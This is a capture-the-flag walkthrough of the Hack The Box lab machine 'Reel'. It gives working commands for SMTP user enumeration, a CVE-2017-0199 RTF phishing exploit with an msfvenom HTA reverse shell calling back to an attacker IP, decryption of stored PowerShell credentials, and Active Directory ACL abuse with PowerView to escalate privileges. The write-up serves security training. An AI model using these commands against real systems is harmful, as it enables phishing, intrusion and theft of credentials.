ANON FTP

EXIFTOOL

SMTP USER ENUM

RTF EXPLOIT

XML

Export cliXML

Writeowner Permission

Backup Admin

Writedacl rights

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18  12:19AM       <DIR>          documents
| ftp-syst:
|_  SYST: Windows_NT
22/tcp    open  ssh          OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
|   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
|   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp    open  smtp?
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49159/tcp open  msrpc        Microsoft Windows RPC
```

FTP

```
root@kali:/home/kali/Desktop/htb/reel# ftp reel.htb
Connected to reel.htb.
220 Microsoft FTP Service
Name (reel.htb:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
root@kali:/home/kali/Desktop/htb/reel# cat readme.txt
please email me any rtf format procedures - I'll review and convert.
root@kali:/home/kali/Desktop/htb/reel# ls
 Applocker.docx   fullscan   readme.txt   scan  'Windows Event Forwarding.docx'
```

EXIFTOOL

```
oot@kali:/home/kali/Desktop/htb/reel# exiftool 'Windows Event Forwarding.docx'
ExifTool Version Number         : 12.00
File Name                       : Windows Event Forwarding.docx
Directory                       : .
File Size                       : 14 kB
File Modification Date/Time     : 2020:07:13 11:19:37-04:00
File Access Date/Time           : 2020:07:13 11:20:20-04:00
File Inode Change Date/Time     : 2020:07:13 11:19:37-04:00
File Permissions                : rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x82872409

Zip Compressed Size             : 385

Zip Uncompressed Size           : 1422

Zip File Name                   : [Content_Types].xml

Creator                         : nico@megabank.com

Revision Number                 : 4

Create Date                     : 2017:10:31 18:42:00Z

Modify Date                     : 2017:10:31 18:51:00Z

Template                        : Normal.dotm

Total Edit Time                 : 5 minutes

Pages                           : 2

Words                           : 299

Characters                      : 1709

Application                     : Microsoft Office Word

Doc Security                    : None

Lines                           : 14

Paragraphs                      : 4

Scale Crop                      : No

Heading Pairs                   : Title, 1

Titles Of Parts                 :

Company                         :

Links Up To Date                : No

Characters With Spaces          : 2004

Shared Doc                      : No

Hyperlinks Changed              : No

App Version                     : 14.0000


Creator                         : nico@megabank.com
```

SMTP

```
root@kali:/home/kali/Desktop/htb/reel# telnet reel.htb 25

root@kali:/home/kali/Desktop/htb/reel# telnet reel.htb 25
```

```
Trying 10.10.10.77...

Connected to reel.htb.

Escape character is '^]'.

220 Mail Service ready

HELLO akg.com

503 Bad sequence of commands

HELO akg.com

250 Hello.

MAIL FROM:akg@akg.com

250 OK

RCPT TO:akg@akg.com

250 OK

RCPT TO:akg@bbb.com

250 OK

RCPT TO:anm@asdasd.com
```

http://pentestmonkey.net/tools/user-enumeration/smtp-user-enum

```
root@kali:/home/kali/Desktop/tools/smtp-user-enum/smtp-user-enum-1.2# cat test-users.txt

reel

administrator

admin

root

reel@htb

reel@htb.local

reel@reel.htb

administrator@htb

admin@htb

root@htb

sadfasdfasdfasdf@htb

nico@megabank.com

0xdf@megabank.com

htb@metabank.com
```

```
root@kali:/home/kali/Desktop/tools/smtp-user-enum/smtp-user-enum-1.2# perl smtp-user-enum.pl -M RCPT -U test-users.txt -t 10.10.10.77

10.10.10.77: reel@htb exists

10.10.10.77: reel@htb.local exists

10.10.10.77: reel@reel.htb exists

10.10.10.77: administrator@htb exists

10.10.10.77: admin@htb exists

10.10.10.77: root@htb exists

10.10.10.77: sadfasdfasdfasdf@htb exists

10.10.10.77: nico@megabank.com exists
```

RTF EXPLOIT

At the time of Reel's release, there was a popular RTF exploit that was being used very commonly in broad-based attacks, CVE-2017-0199. The Metasploit module description does a good job explaining it at a high level:

Description: This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.

First, I'll use msfvenon to generate an HTA file that will give me a reverse shell:

```
root@kali:/home/kali/Desktop/htb/reel# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f hta-psh -o msfv.hta
```

Next, I'll create an RTF file, using scripts from this GitHub and the following options:

https://github.com/bhdresh/CVE-2017-0199

```
root@kali:/home/kali/Desktop/htb/reel# python toolkit.py -M gen -w invoice.rtf -u http://10.10.14.27/msfv.hta -t rtf -x 0

Generating normal RTF payload.



Generated invoice.rtf successfull
```

With the document's prepped, I'll start a python http.server to serve the hta file, a nc listener to catch my shell, and then send the phish. I'll use sendemail with the following options:

```
root@kali:/home/kali/Desktop/htb/reel# python -m SimpleHTTPServer 80
```

```
root@kali:/home/kali# nc -nlvp 443
```

```
root@kali:/home/kali/Desktop/htb/reel# sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v
```

- -f - from address, can be anything as long as the domain exists
- -t - to address, nico@megabank.com

- -u - subject
- -m - body
- -a - attachment
- -s - smtp server
- -v – verbose

SHELL GAINED!!!!!

```
C:\Users\nico\Desktop>type cred.xml

type cred.xml

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">

  <Obj RefId="0">

    <TN RefId="0">

      <T>System.Management.Automation.PSCredential</T>

      <T>System.Object</T>

    </TN>

    <ToString>System.Management.Automation.PSCredential</ToString>

    <Props>

      <S N="UserName">HTB\Tom</S>

      <SS
N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be58707300000000
02000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a000000010000000
65d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40
214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>

    </Props>

  </Obj>

</Objs>
```

PowerShell has this object called a PSCredential, which provides a method to store usernames, passwords, and credentials. There’s also two functions, Import-CliXml and Export-CliXml , which are used to save these credentials to and restore them from a file. This file is the output of Export-CliXml.

```
C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"
```

```
UserName       : Tom

Password       : 1ts-mag1c!!!

SecurePassword : System.Security.SecureString

Domain         : HTB
```

```
Ssh tom@reel.htb

1ts-mag1c!!!
```

TOM USER!!!

```
tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt

Findings:


Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).


Maybe we should re-run Cypher query against other groups we've created.

tom@REEL C:\Users\tom\Desktop\AD Audit>
```

Privesc: tom -> claire

```
PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1
```

Next, I'll set tom as the owner of claire's ACL:

```
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -identity claire -OwnerIdentity tom
```

Next, I'll give tom permissions to change passwords on that ACL:

```
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
```

Now, I'll create a credential, and then set claire's password

```
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -identity claire -accountpassword $cred
```

Ssh claire@reel.htb

CLAIRE USER!!!!!!!

https://0xdf.gitlab.io/2018/11/10/htb-reel.html

Privesc: claire -> Backup_Admins

From the analysis before, I know that claire has WriteDacl rights on the Backup_Admins group. I can use that to add her to the group. First, see that the only member of the group is ranj:

```
claire@REEL C:\Users\claire>net group backup_admins

Group name     Backup_Admins

Comment


Members


-------------------------------------------------------------------------------

ranj

The command completed successfully.
```

```
claire@REEL C:\Users\claire>net group backup_admins claire /add

claire@REEL C:\Users\claire>net group backup_admins

Group name     Backup_Admins

Comment


Members


-------------------------------------------------------------------------------

claire                   ranj
```

Back in as claire and in Backup_Admins, I can check the premissions on the Administrator folder:

```
claire@REEL C:\Users>icacls Administrator

Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)

      HTB\Backup_Admins:(OI)(CI)(F)

      HTB\Administrator:(OI)(CI)(F)

      BUILTIN\Administrators:(OI)(CI)(F)


Successfully processed 1 files; Failed processing
```

```
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1

# admin password

$password="Cr4ckMeIfYouC4n!"
```